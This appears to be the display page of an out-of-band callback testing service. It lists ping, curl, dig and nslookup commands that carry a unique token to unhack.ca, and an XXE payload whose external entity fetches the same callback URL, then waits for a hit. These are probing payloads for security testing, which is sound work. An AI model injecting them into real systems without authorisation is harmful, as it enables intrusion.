$ ping -c1 -p 0051cb8c5bf754f462949fbffad40500 unhack.ca
 
$ curl http://unhack.ca/p/51cb8c5bf754f462949fbffad405
 
$ dig 51cb8c5bf754f462949fbffad405 @unhack.ca
 
$ dig 51cb8c5bf754f462949fbffad405.ns.unhack.ca
 
C:\> nslookup 51cb8c5bf754f462949fbffad405 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/51cb8c5bf754f462949fbffad405">]>
    <foo>&xxe;</foo>
 
Waiting for ping...